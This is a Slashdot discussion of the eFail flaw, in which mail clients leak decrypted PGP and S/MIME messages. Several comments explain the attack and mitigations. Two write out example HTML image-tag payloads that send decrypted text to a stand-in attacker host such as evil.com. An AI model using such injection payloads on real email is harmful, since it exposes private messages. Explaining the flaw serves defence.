Slashdot Mirror
Encrypted Email Has a Major, Divisive Flaw (wired.com)
An anonymous reader quotes a report from Wired: The ubiquitous email encryption schemes PGP and S/MIME are vulnerable to attack, according to a group of German and Belgian researchers who posted their findings on Monday. The weakness could allow a hacker to expose plaintext versions of encrypted messages -- a nightmare scenario for users who rely on encrypted email to protect their privacy, security, and safety. The weakness, dubbed eFail, emerges when an attacker who has already managed to intercept your encrypted emails manipulates how the message will process its HTML elements, like images and multimedia styling. When the recipient gets the altered message and their email client -- like Outlook or Apple Mail -- decrypts it, the email program will also load the external multimedia components through the maliciously altered channel, allowing the attacker to grab the plaintext of the message.
The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them. PGP is a classic end-to-end encryption scheme that has been a go-to for secure consumer email since the late 1990s because of the free, open-source standard known as OpenPGP. But the whole point of doing the extra work to keep data encrypted from the time it leaves the sender to the time it displays for the receiver is to reduce the risk of access attacks -- even if someone can tap into your encrypted messages, the data will still be unreadable. eFail is an example of these secondary protections failing.
The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them. PGP is a classic end-to-end encryption scheme that has been a go-to for secure consumer email since the late 1990s because of the free, open-source standard known as OpenPGP. But the whole point of doing the extra work to keep data encrypted from the time it leaves the sender to the time it displays for the receiver is to reduce the risk of access attacks -- even if someone can tap into your encrypted messages, the data will still be unreadable. eFail is an example of these secondary protections failing.
I'm hoping this will spur development of a new encryption standard that's both secure and easy to use.
If youâ(TM)re serious about your email security the first thing you would do is disable HTML email in your client. This is an attack thatâ(TM)s easily mitigated by observing the bare minimum of best practices.
was always a bad idea.
Old news and it's not PGP and S/MIME, but the mail clients that can use them: Thunderbird and Apple Mail and Outlook. Probably also affects clients using GPG. Or any other encryption scheme.
PGP is not broken. GPG is not broken. S/MIME is not broken. The flaw is in how mail clients display email. Admittedly, a lot of them have the same issue.
It is not a flaw in PGP/GnuPG. It is a flaw in the email software, or rather several flaws in combination. The combination seems to be widespread unfortunately.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
The stories were encrypted so the editor could't read their contents and tell they were dupes. The stories are proof of concept by themselves and only become readable once published on Slashdot with the help of the MIME hack.
Everything I write is lies, read between the lines.
(see title)
#DeleteFacebook
This sentence stuck out to me:
The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them.
My response would be that if you're not worried about someone intercepting your email, then why are you encrypting it in the first place? This is essentially a MiTM attack, which is exactly what encryption is designed to protect against. If it can't protect against it, the encryption has completely failed.
I'd say that's the case here. This isn't one of those silly edge cases certain security people jump up and down over nothing. Like "well first you need root access, and then you can get an even higher level of security access!". This is a real, bona-fide hack. Congrats to the researchers who found something real.
Don't use HTML Email and the problem goes away. I find that 99% of the time, there is no need for an HTML part to Email, anyway. This whole vulnerability is due to HTML parts being displayed AUTOMATICALLY and WITH loading external parts/links. (If you want to show something external, then just send a link, I don't need a web site "Emailed" to me).
Or, use a "real" Email client (like Claws and perhaps others) that allows you to control how Email is displayed. For example, Claws will happily-
1) Not display the HTML part at all and just show plain-text (the default).
2) If the Email is in violation of rules and has no plain-text part, it will just invent one out of the HTML body.
3) If you DO want it to display the HTML (with a plugin), then there are settings to disable any external component loading
Any email program which respects html instructions to automatically load external content was badly broken from a security perspective even before you consider the errors the researchers here exposed.
Any email program which directly fixes the hack without barring external content from loading when the email opens remains badly insecure.
Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
Should have included HTML so that it could be decrypted surreptiously.
Bad guy intercepts encrypted email he wants to read. (MITM). He injects additional HTML data into the email (in his possession). He sends the email on to the original intended recipient. Recipient opens email. PGP or S/MIME plugin automatically decrypts the message and hands the output back to the email client for display. Mail client interprets the HTML, which happens to send the now-decrypted text to a webserver under the attacker's control.
So, yes, this does act as MITM. It does not require the attacker to have previously compromised the victim's system.
Or they could just read it over your shoulder. Eitehr way.
Bad guy intercepts encrypted email he wants to read. (MITM). He injects additional HTML data into the email (in his possession).
Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?
So, yes, this does act as MITM.
Except the scenario you invented is not what this flaw is about and flaw doesn’t allow tampering with the encrypted email while in transit. The email isn’t decrypted until it reaches the email client and the email client has to be one of the buggy ones that don’t actually check the failure return.
There is no formal Mother's Day in Israel, because it's evolved into an informal Family Day. And, as Israel uses the Hebrew Calendar, it falls on Shevat 30, which can be anywhere from January 30 and March 1.
Good, inexpensive web hosting
This 'major, divisive flaw' is something that needs multiple conditions before it can execute:
- Someone who uses encrypted email but doesn't disable automatic image loading in the client
- Client that can't handle malformed HTML inputs and processes unterminated src tags in a weird way
- Message tampering warnings by the PGP or GPG library are ignored
- Server address where the plaintext will get uploaded thru uuencoded resource requests
I wonder if there are clients that, when user has disabled image loading, would still end up auto loading other content (eg. CSS links)? If so then this could be readily exploited far more often in the wild, with the proviso that the attackers don't care about leaving trails of their server address in client & router logs.
Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?
If you don't know the answer to that, maybe you should actually read the description of the flaw?
There are actually two flaws: one is a buggy mail reader application; it should be straightforward to fix the bug. The other is a problem with the spec for encrypting emails (i.e., S/MIME, or whatever the spec for PGP-encrypted email is called).
The mail reader bug is easier to explain: the encrypted email is not 100% encrypted. The contents are encrypted. But MIME messages contain some unencrypted metadata, such as the headers and boundary markers. So the way you inject HTML into an encrypted email is to add a new MIME text/html part before the encrypted part that contains: <img src="http://attackers.website/, and add a new MIME text/html part after the encrypted part that contains: ">. When the buggy mail reader processes the various MIME parts, it decrypts the encrypted part, resulting in HTML plaintext. Now here's the bug: it then joins all the HTML parts into a single HTML document for display, and that results in <img src="http://attackers.website/decrypted content">. So the mail reader app sends an HTTP request to the attacker's website containing the decrypted message in the URL.
The other flaw has to do with a known plaintext attack; if you want to know how that works, RTFA.
Divisive?
And just how is this security flaw tending to cause disagreement or hostility between people?
They don't manipulate the encrypted message itself. They manipulate the unencrypted message containing the encrypted message, adding blocks of HTML before and after it that make the encrypted message appear to be part of a URL referring to an external resource like an image. It relies on eg. the practice of many email clients of stitching together multiple HTML sections in a multi-part message into a single HTML part and rendering that instead of the original multiple parts.
The vulnerability can be mitigated externally by implementing DKIM on the sending domain. When the message is altered by the attacker, DKIM signature validation will fail and the message will be flagged as having been altered. Combined with turning off fetching of remote content (the default in most mail clients these days) it allows detection of the attack and prevents data disclosure.
Wait a minute. My understanding is that the attacker changed the ciphertext and got predictable plaintext to come out. I didn't expect that.
Fuck HTML email, but it sounds like we still have a problem.
"Believe me!" -- Donald Trump
PGP has message integrity checks.
When operating on files, PGP simply refuses to decrypt malformed (tampered) messages.
However, when invoked to process as a pipe, it will spit out the plaintext, then a warning.
Even though the client is at fault for ignoring the warning, arguably, PGP should be consistent and spew out only the warning.
S/MIME was made in a world where mail was passed, un-encrypted on SMTP port along a chain of mail servers for every company on the internet. anybody operating any router between A and B, and there could be a lot of them, could intercept the mail and read it. Nowadays, a lot of that has collapsed into a few big mailers with many hundreds of thousands or millions of mailboxes. Traffic between those services is SSL encrypted these days. So as long as you dont care about the service operator seeing the mail, there is no problem. This is much safer than things used to be.
cue the paranoid fanatics...
If I use Thunderbird which blocks most of HTML and all of JPEG/GIF content, how am I vulnerable again?(ok i don't use PGP, but still)
Don't know why Slashdot is now completely burying anon posts (logged in users only?) but how is this any different from every other information leaking bug? It's evil, always was yet a large part of the population and Governments are willing to let Facebook and Google get away with it.
If you use HTML and have remote images (few clients lump all remote requests into this), you're fucking retarded. I'm tired of telling people, they won't listen. So get hacked, and pay up when you need support.
By the way these are the same class of people who think it's OK to use return receipt and get pissed when you don't send them.
Yes. That should though be handled by the message signature, not the encryption. If you care about the integrity of the encrypted message you should sign it (S/MIME or PGP) as well as encrypting it. The client may ignore the MDCs in the encryption, but a failed S/MIME or PGP signature on the same message will show as an error independent of that.
It doesn't need to be a MITM. It could be someone who has access to old stored mail on your server and gets some old encrypted message, fucks with it and resends it to you. It doesn't even have to be your own mail server, could be the sender's or another recipient's.
Wait a minute. My understanding is that the attacker changed the ciphertext and got predictable plaintext to come out.
That would actually not be a problem. In Plublic-Key Crypto, the attacker can always do that, because anybody can encrypt messages for a recipient.
The problem is a combination of broken MIME decoding in combination with ignoring an error message from PGP/GnuPG and a really stupid decision to load external content when an email is displayed.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Ok, let's ignore that for right now, and just hypothesize that HTML email doesn't exist. Let's not try to protect against someone who is doing something silly anyway. No external content. I think we still have a problem even in that scenario.
(I guess I need to read more about how this block exploit works, but I'll talk out my ass anyway because this is the Internet.) The email isn't encrypted with the victim's public key; a session key is encrypted with the victim's public key and the session key is used to encrypt the email.
Let's say I take an encrypted email that you were sent earlier and I prepend a block. I can't get the session key that encrypted the rest of the email; I have to generate a new one and encypt that session key with your public key, and encrypt my prepended block with that session key. Sure, you (the victim) will decrypt that. But at the end of that block, the IV for the next block (the data that we're replaying) is going to be something totally different than it had been in the original message. The rest of the message should decrypt to garbage. Yet it sounds like someone figured out how to make that not happen. That's what I'm trying to understand.
"Believe me!" -- Donald Trump
So the fix, as usual, is to disable HTML in your mail client.
And also to persuade every person that *you* send encrypted email to to do the same. Good luck with that.
Anyone who is sending encrypted mail is going to be using plain text, right?
If you don't know the answer to that, maybe you should actually read the description of the flaw?
Tried that. Followed TFA link to TFA, wound up at Wired which promptly put up a sign-up form over the top of the article that could not be dismissed in any way I could find. Other than maybe signing in, which ain't. Thanks /. for Wired clickbait.
Your description explains things. It's a stupid bug -- if the contents of an email are changed, then the decryption should fail, period. Headers yes, they need to be mutable (some of them), but body, no.
What email client author actually thought that someone would care enough to encrypt the message and then include an unencrypted HTML alternative?
For many years I had a procmail recipe that changed any Content-Type that said HTML to text/plain. Then I realized that some stupid email clients looked at the text in the body, guessed it was HTML, and rendered it anyway.
The other flaw has to do with a known plaintext attack; if you want to know how that works, RTFA.
Sigh. Wired doesn't agree with you.
This seems to be an instance of security researchers crying wolf when they found a scrawny coyote. Doesn't mean the thing wonâ(TM)t bite you, though.
(BTW, slashdot, why did you convert my dumb apostrophes to weird things?)
No problem in that case. This exploit depends on wrongly embedding the encrypted part of the email into html after decryption and then doing an external fetch of an image using it. Basically (simplified a lot), if your mailer transforms <img src="http://evil.com/[encrypted]"> to <img src="http://evil.com/my_secret_message">, then "my_secret_message" gets sent to evil.com as part of the query. The attacker would before that inject the http part into the non-encrypted part of the message.
For this to work, you need a whole lot of pretty extreme stupidity:
- mixed encrypted+non-encrypted messages
- broken mime decoding that just concatenates things together
- broken decryption use that does not treat results from decryption specially
- broken email display that fetches external links like images.
- no message whole-message integrity protection in (partially) encrypted messages or ignoring error reports form that integrity protection
These are all faults on the side of the mailer, probably due to large enthusiasm, small skills, a mistaken belief that "new is better" and absolutely no understanding of software security.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Not that I've ever used it, but I thought that PGP stood for "Pretty Good Protection" - aka not uncrackable but enough to keep casual observers (like bored ISP admins) at bay.